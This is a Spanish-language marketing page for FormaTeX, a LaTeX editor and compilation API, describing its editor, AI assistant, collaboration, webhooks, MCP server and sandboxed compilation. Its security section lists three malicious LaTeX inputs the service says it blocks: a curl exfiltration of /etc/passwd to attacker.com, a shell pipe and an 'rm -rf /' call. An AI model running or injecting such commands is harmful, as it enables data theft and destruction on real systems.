\features{FormaTeX}
Editor en el navegador, asistente de IA, colaboración en tiempo real, API REST, cuatro motores LaTeX, integración MCP — cada característica construida para desarrolladores y escritores que necesitan LaTeX sin el trabajo de infraestructura.
\section{Plataforma}
Editor · IA · Colaboración · Proyectos · Plantillas · Webhooks · GitHub
\feature{editor}
Un IDE completo. En el navegador. Sin instalar nada.
FormaTeX incluye un entorno de desarrollo LaTeX completo que se ejecuta íntegramente en el navegador. CodeMirror 6 con resaltado de sintaxis LaTeX, una vista previa del PDF en un panel redimensionable, un explorador de archivos del proyecto, un panel de esquema, una lista de símbolos, un minimapa y un registro de compilación completo con la lista de errores analizados. Sube imágenes, archivos .bib y clases personalizadas. El guardado automático se ejecuta en segundo plano: cerrar la pestaña no pierde nada.
Explorer
PDF Preview
\feature{ai}
Corrige, explica, genera y conversa — con todo el contexto del proyecto.
Cuatro modos de IA integrados en el editor. Corregir analiza tu registro de errores y produce LaTeX corregido. Explicar traduce los errores del compilador a un lenguaje claro. Generar escribe LaTeX a partir de una descripción en texto plano. Chat te da un asistente conversacional con acceso a todos los archivos de tu proyecto. La IA ve tu código real, no un fragmento que pegas.
! Error on line 47
Undefined control sequence \mathrm
Add \usepackage{amsmath} to your preamble. \mathrm is defined there.
+ \usepackage{amsmath}
\feature{collaboration}
Varias personas. Un solo documento. En directo.
Colaboración en tiempo real mediante WebSocket, disponible desde febrero de 2026. Invita a colaboradores por correo electrónico, asigna el rol de Editor o de Lector y consulta indicadores de presencia con avatares de colores derivados de forma determinista del UUID de cada usuario. Los lectores están restringidos en el servidor: no pueden emitir eventos de edición, sea cual sea el estado del cliente. Abrir el mismo proyecto en dos pestañas cierra automáticamente la conexión anterior.
\feature{projects}
Espacios de trabajo persistentes de varios archivos, con historial completo de ediciones.
Los proyectos son espacios de trabajo con nombre y color que conservan todos tus archivos en el servidor. Crea un proyecto una vez, añade código .tex, referencias .bib, imágenes y clases personalizadas — todo queda disponible entre sesiones y compilaciones. Cada guardado y cada eliminación se registra como una instantánea en el historial de archivos: una línea de tiempo al estilo git log que muestra qué cambió, cuándo y quién hizo cada edición.
Projects
IEEE Paper 2026
PhD Thesis — Ch.4
CV / Resume
3 of 5 projects · Free plan
File History
IEEE Paper 2026
Today · 3 changes
sections/intro.tex
refs.bib
fig1.png
\feature{templates}
Envía JSON. Recibe un PDF. Sin necesidad de saber LaTeX.
Guarda un documento LaTeX una vez como plantilla, marca los valores dinámicos con marcadores <<variable>> y compílalo a partir de JSON plano. Quienes la usan nunca tocan LaTeX: envían (POST) un objeto JSON con los valores de las variables y reciben un PDF. Las plantillas admiten recursos subidos (logotipos, archivos .bib, .cls), se pueden duplicar desde la biblioteca de plantillas y se compilan con cualquier clave API.
Variables
\feature{webhooks}
Tu servidor se entera en cuanto termina una tarea.
Registra una URL y suscríbete a eventos de compilación, de cuota y de plan. FormaTeX envía un POST firmado a tu endpoint en cada evento. Cada envío está firmado con HMAC-SHA256 usando el secreto de tu webhook: verifica la cabecera X-FormaTeX-Signature antes de procesarlo. Los envíos fallidos se reintentan automáticamente hasta 5 veces con espera exponencial. El panel muestra la tasa de éxito por webhook, el historial completo de envíos con los números de intento y un botón de prueba.
\feature{github}
Envía tu proyecto a GitHub. Trae cambios de cualquier repositorio.
Vincula cualquier proyecto de FormaTeX a un repositorio de GitHub y mantenlos sincronizados. Envía tu código LaTeX, tus archivos .bib y tus recursos a una rama con un clic — o activa un push automático tras cada compilación correcta. Trae los cambios desde GitHub para restaurar una versión anterior o incorporar el fork de un nuevo colaborador. Funciona con repositorios públicos y privados. Disponible en los planes Max y Enterprise.
\feature{overleaf-import}
Trae tus proyectos existentes con un clic.
¿Ya usas Overleaf? Exporta tu proyecto como zip (Menu → Download → Source) y suéltalo en FormaTeX. Todo tu árbol de archivos — código .tex, referencias .bib, imágenes, clases personalizadas, subdirectorios — se extrae, se analiza y se guarda automáticamente como un proyecto nuevo. El archivo .tex raíz se detecta y se abre de inmediato. Sin copiar archivos a mano, sin reformatear, sin fricción.
# 1. Export from Overleaf
# Menu → Download → Source → my-thesis.zip
# 2. Import via the Projects dashboard
# Click "Import from Overleaf" → drop the zip → done
# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
-H "Authorization: Bearer <jwt>" \
-F "[email protected]"
# Response
{
"project": {
"id": "proj_7f2a...",
"name": "my-thesis",
"color": "amber"
},
"main_file": "main.tex"
}\section{API y compilación}
REST · Motores · Async / Stream / Inteligente · Renderizado de ecuaciones · Seguridad
\feature{rest-api}
Envía LaTeX. Recibe un PDF. Un solo endpoint.
Toda la superficie de compilación de FormaTeX es un único endpoint POST. No hace falta SDK ni ceremonias de autenticación. Envía JSON con tu código LaTeX y el motor que prefieras, y recibe un PDF binario en el cuerpo de la respuesta. Cada respuesta incluye en las cabeceras el tiempo de compilación, el motor utilizado y tu cuota restante. Funciona igual desde curl, JavaScript, Python, Go o cualquier cliente HTTP.
curl -X POST https://api.formatex.io/api/v1/compile \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{
"latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
"engine": "pdflatex"
}' \
--output document.pdf
# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500\feature{engines}
La herramienta adecuada para cada tipo de documento.
pdfLaTeX para la máxima velocidad y compatibilidad de paquetes. XeLaTeX para fuentes del sistema (TTF/OTF) y Unicode. LuaLaTeX para scripts Lua y generación programática de contenido. latexmk para la compilación automática en varias pasadas — bibliografía, índice, referencias cruzadas, todo resuelto en una sola petición. Elige por petición con un único parámetro JSON. Todos los motores usan la misma instalación de TeX Live.
Estándar. El más rápido. La mejor compatibilidad.
Salida PDF directa · Fuentes Type 1 · La mayor compatibilidad de paquetes
Fuentes del sistema. Unicode nativo.
TTF / OTF · Texto de derecha a izquierda · Funciones OpenType
Scripts Lua completos dentro de LaTeX.
Contenido programático · El más potente · El más lento
Multipasada automática. Lo resuelve todo.
Bibliografía · Índice · Referencias cruzadas · Reintento automático
\feature{async}
Bloqueante, en segundo plano, en streaming, inteligente o de varios archivos. Elige tu modo.
Cinco modos de compilación para cada caso. Sync devuelve el PDF de inmediato en la respuesta — sin configuración. Async pone la tarea en cola y devuelve un identificador de tarea al instante — sin mantener ninguna conexión abierta, ideal para pipelines por lotes. Stream envía el registro línea a línea por SSE mientras el motor se ejecuta — perfecto para interfaces con progreso en vivo. La compilación inteligente lee el preámbulo de tu documento, elige el motor adecuado automáticamente y reintenta ante fallos transitorios. La compilación ZIP acepta el archivo de un proyecto completo de varios archivos — tesis, libro, kit de CV — y devuelve el PDF compilado en una sola petición.
sync
Bloqueante · PDF en la respuesta
PDF devuelto en el cuerpo de la respuesta — un solo viaje de ida y vuelta
async
No bloqueante · Consulta el resultado
Conexión liberada al instante — consulta cuando esté listo
stream
SSE · Registro en directo
[1/1] pdflatex -no-shell-escape main.tex
This is pdfTeX, Version 3.141592653
Output written on main.pdf (12 pages)
Compiled in 312ms ✓
Crea una terminal en tiempo real en tu interfaz
smart
Detección automática · Reintento si falla
Análisis del preámbulo
\documentclass{article}→pdflatex\usepackage[fontspec]{...}→xelatex\directlua{...}→lualatexSin configurar el motor — solo envía tu LaTeX
\feature{security}
LaTeX es potente y peligroso. Lo contenemos.
Cada compilación se ejecuta en un contexto de ejecución aislado con -no-shell-escape impuesto, E/S de archivos restringida (openout_any=p, openin_any=p) y sin acceso saliente a la red. La sanitización de la entrada bloquea vectores de ataque conocidos antes de que arranque el motor. El código LaTeX nunca se escribe en los registros. Los archivos de compilación se eliminan del disco inmediatamente después de procesarse. Los archivos de proyecto que decides guardar se almacenan de forma segura en tu cuenta.
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}
// Valid input compiles normally:
POST /api/v1/compile
{
"latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
"engine": "pdflatex"
}
// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]\feature{equation-render}
Cualquier expresión matemática. PNG o SVG. Sin documento completo.
Envía una expresión matemática LaTeX en bruto y recibe una imagen PNG o SVG nítida — sin preámbulo de documento ni código innecesario. La API la envuelve automáticamente en un documento independiente, compila con pdflatex y convierte al formato que prefieras. amsmath, amssymb y amsfonts vienen precargados. Es independiente de la cuota de compilación: renderizar ecuaciones nunca cuenta para tu límite mensual. Ideal para aplicaciones de mensajería, plataformas educativas, herramientas de documentación y cualquier lugar donde haya que mostrar matemáticas.
# PNG — binary response (save directly to file)
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{"latex": "\\int_0^\\infty e^{-x^2} dx = \\frac{\\sqrt{\\pi}}{2}"}' \
--output equation.png
# SVG — display mode
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{"latex": "\\nabla \\cdot \\mathbf{E} = \\frac{\\rho}{\\varepsilon_0}", "format": "svg", "display": true}' \
--output equation.svg
# JSON response with base64 + dimensions
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{"latex": "E = mc^2", "dpi": 150}'
# → { "image": "<base64>", "format": "png", "width": 120, "height": 22 }\section{Integraciones}
MCP · Claves API · Analítica de uso
\feature{mcp}
Tu agente de IA compila LaTeX de forma nativa.
FormaTeX incluye un servidor MCP de primera clase. Añádelo a Claude, Claude Code, Cursor, VS Code, Codex o a cualquier cliente compatible con MCP y tu IA tendrá acceso directo a toda la cadena de compilación LaTeX. Compila documentos, rellena plantillas con variables, valida la sintaxis o lista los motores disponibles — todo desde una conversación con la IA. Sin cambiar de terminal, sin copiar archivos, sin cortar el contexto.
// claude_desktop_config.json (local stdio binary)
{
"mcpServers": {
"formatex": {
"command": "formatex-mcp",
"env": {
"FORMATEX_API_KEY": "fex_a8k2mP9..."
}
}
}
}
// Claude can now:
// "Compile this document with XeLaTeX and give me the PDF link"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"\listfeatures{all}
\begin{document}
Editor, API, IA y colaboración en todos los planes. Sin tarjeta de crédito. Empieza en 30 segundos.